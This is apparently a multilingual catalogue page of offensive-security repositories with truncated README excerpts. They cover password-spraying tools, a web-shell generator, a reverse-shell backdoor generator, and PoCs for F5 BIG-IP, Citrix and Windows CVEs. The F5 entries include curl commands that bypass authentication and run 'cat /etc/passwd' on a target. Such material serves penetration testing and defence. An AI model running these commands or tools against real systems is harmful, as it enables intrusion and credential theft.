automato

automato.rb automato uses native LDAP libraries to automate the collection and enumeration of various directory objects. This is incredibly useful during an internal penetration test. automato can also conduct password spraying attacks, and identify if a user is a local administrator against any...

nemesis

N E M E S I S - 제작 및 인젝션 Nemesis 프로젝트는 UNIX 계열 및 Windows 시스템을 위한 명령줄 기반의 휴대용 휴먼 IP 스택으로 설계되었습니다. 이 제품군은 프로토콜별로 분류되어 있으며, 간단한 셸 스크립트에서 주입된 패킷을 유용하게 스크립팅할 수 있도록 해줍니다. 최신 릴리스는 항상 GitHub에서 확인할 수 있습니다. https://github.com/libnet/nemesis/releases 주요 기능 ARP/RARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP,...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 제품의 iControl REST API 기능에 원격 코드 실행 취약점이 존재합니다. 인증되지 않은 원격 공격자가 이를 악용하여 인증을 우회하고 루트 권한으로 임의의 명령을 실행할 수 있습니다. 사용법 python3 f5bigipscanner.py...

CVE-2024-38063

CVE-2024-38063 Research – Windows IPv6 Kernel Remote Code Execution 1. Project Overview This repository contains our research and analysis of CVE-2024-38063 , a critical vulnerability in the Windows TCP/IP stack. CVE stands for Common Vulnerabilities and Exposures. It is a standardized dictionary...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST の脆弱性 CVE-2022-1388 使用方法 このPOCは検証済みです！ curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

Forerunner

Forerunner Forerunner 라이브러리는 빠르고 가벼우며 확장 가능한 네트워킹 라이브러리로, IP 스캐너, 포트 노커, 클라이언트, 서버 등 강력한 네트워크 중심 애플리케이션 개발을 지원하기 위해 만들어졌습니다. 현재 상태에서 Forerunner 라이브러리는 동기 및 비동기 방식으로 IP 주소를 스캔하고 포트 노킹하여 해당 엔드포인트에 위치한 장치의 정보IP 온라인 여부, 물리적 MAC 주소 등를 얻을 수 있습니다. 이 라이브러리는 완전히 객체 지향적이고 이벤트 기반으로, 스캔 데이터는 결과부터 예외까지 모든 데이터...

CVE-2019-19781

CVE-2019-19781 대량 개념 검증용 사용 제한 1. 사용 전 폴더 내에 "data.txt" 파일이 있어야 하며, 내용은 192.168.1.0/24\n 192.168.2.0/24\n 입니다. 2. Linux에서만 실행하며, python3 CVE-2019-19781-testbata.py 3. 성공적으로 실행되어 취약점이 발견되면 "CVE-2019-19781.txt"로 내보냅니다...

rsdl

rsdl 서브도메인 스캐너 v.2 핑 방식을 이용한 서브도메인 스캔 및 HTTP/S 상태 확인. 플래그| 값| 설명 ---|---|--- --hostname| example.com| 스캔 대상 도메인. --output| | 도메인 이름으로 출력을 저장합니다. --list| /tmp/lists/example.txt| 서브도메인 목록 파일. 새로운 기능 HTTP/HTTPS 상태 확인 HTTP/HTTPS 요청에 대한 타임아웃 시간 업데이트 스캔 속도 향상 IP 스캔 새로운 터미널 인터페이스 설치 go get...

CVE-2020-5902

CVE-2020-5902 この脆弱性をチェックするためのPOCコードです。コードが公開されたため、私もこれを公開することにしました。即座にパッチを適用してください！ Usage: python3 CVE-2020-5902.py -u https://big-ip.com -o check 2/dev/null...

CredKing

CredKing Overview Benefits Basic Usage Plugin Usage Gmail Okta Installation Development Plugin specific arguments Overview AWS Lambda를 사용하여 여러 리전에 걸쳐 IP 주소를 회전시키며 패스워드 스프레이Password Spray를 쉽게 실행할 수 있습니다. 제공: Benefits 모든 AWS Lambda 리전 완전 지원 멀티스레드 처리 사용자/패스워드 쌍 자동 생성 새 플러그인 손쉽게 추가 가능 실행 역할과 Lambda 함...

pysho

pysho Python 기반의 Shodan API를 통해 Shodan 쿼리를 수행하는 도구 도구 다운로드: git clone https://github.com/Kr0ff/pysho python -m pip install -r requirements.txt chmod +x pysho.py ./pysho 사용 예시: Perform a check on your Shodan API key python pysho.py --info Perform search for a service or keyword python pysho.py...

CVE-2020-16898--EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP 원격 코드 실행 취약점 EXP&POC 재현 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 명령: 관리자 권한으로 powershell/CMD 실행 Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2 조건: 대...

CVE-2019-19781_IOCs

CVE-2019-19781IOCs CVE-2019-19781 の IOCs citrixhoneypotnslookup.txt には、ips.txt にリストされている IP アドレスの whois 結果が含まれています。 これらは、以下で説明されているハニーポットのログに最も頻繁に現れたアドレスです。 https://www.digitalshadows.com/blog-and-research/cve-2019-19781-analyzing-the-exploit/...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 확인 스크립트 CVE-2022-1388 RCEF5 BIG-IP를 확인하는 간단한 bash 스크립트입니다. + 사용법: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 익스플로잇 IP 주소를 변경하는 것을 잊지 마세요. curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...

wsh

wsh wsh 'woosh'라고 발음는 웹 셸 생성기이자 명령줄 인터페이스입니다. 이 프로젝트는 웹 셸과의 상호작용이 불편해서 시작되었습니다. 기존에는 폼을 통해 명령을 보내려면 입력 상자에 입력하고 버튼을 눌러야 했습니다. 저는 자신의 작업 흐름에 더 잘 맞고 터미널에서 실행되는 도구를 원했습니다. 그래서 wsh가 탄생했습니다. 클라이언트는 명령 내역, 로깅 기능을 제공하며, 이미 배포된 표준 웹 셸폼/버튼 포함과 상호작용하도록 구성할 수 있습니다. 생성기는 php, asp, jsp 웹 셸을 만듭니다. 변수명이 무작위로 생성...

CVE-2022-30190-follina

CVE-2022-30190-follina 새로운 MSDT-익스플로잇을 위한 또 다른 PoC Doc을 편집하려면 7z, xarchiver 등으로 열어서 word\rels\document.xml.rels의 값을 자신의 IP로 변경하십시오. 익스플로잇은 window.location.href 앞에 최소 3541자가 포함되어야 하며, 이 문자들은 script 태그 내에 있어야 합니다. 현재는 약 9000자가 있으므로 충분합니다. 익스플로잇에 대한 자세한 정보:...

webscan

webscan webscan is a browser-based network IP scanner and local IP detector. It detects IPs bound to the user/victim by listening on an RTP data channel via WebRTC and looping back to the port across any live IPs, as well as discovering all live IP addresses on valid subnets by monitoring for...

webscan

webscan webscan은 브라우저 기반 네트워크 IP 스캐너이자 로컬 IP 탐지기입니다. WebRTC를 통해 RTP 데이터 채널에서 수신 대기하고 활성 IP로 포트에 다시 루프백하여 사용자/피해자에게 바인딩된 IP를 탐지하며, 유효한 서브넷의 모든 활성 IP 주소를 fetch 호출 또는 유효한 서브넷/IP를 가리키는 숨겨진 img 태그로부터의 즉각적인 시간 초과반환된 TCP RST 패킷를 모니터링하여 발견합니다. 모바일 및 데스크톱에서 모든 주요 브라우저와 OS에서 작동합니다. 베타 버전은 여러 기술을 추가할 수 있도록 ...

winspy

WinSpy winspy : IP 중독 기능을 가진 Windows 리버스 셸 백도어 생성기 의존성 1 - metasploit-framework 2 - xterm 3 - apache2 설치 sudo apt-get install git git clone https://github.com/TunisianEagles/winspy.git cd winspy chmod +x setup.sh ./setup.sh chmod +x winspy.sh ./winspy.sh 스크린샷 테스트된 환경: BackBox Linux Kali linux...

f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM 퀵 패치 CVE 2021-44228. 개요 이 도구는 BIG-IP 장치에 연결하여 CVE-2021-4428이라는 사용자 지정 서명 세트를 생성하고 모든 정책에 차단 모드로 적용합니다. 또한 모든 서명을 적용하고 변경 사항을 적용합니다. 이는 BIG-IP ASM v15.x에서 테스트되었지만 v13.x/v14.x/v16.x에서도 작동할 것으로 생각됩니다. 경고: 이 절차는 실행 중에 제어 평면의 CPU 및 메모리 사용량...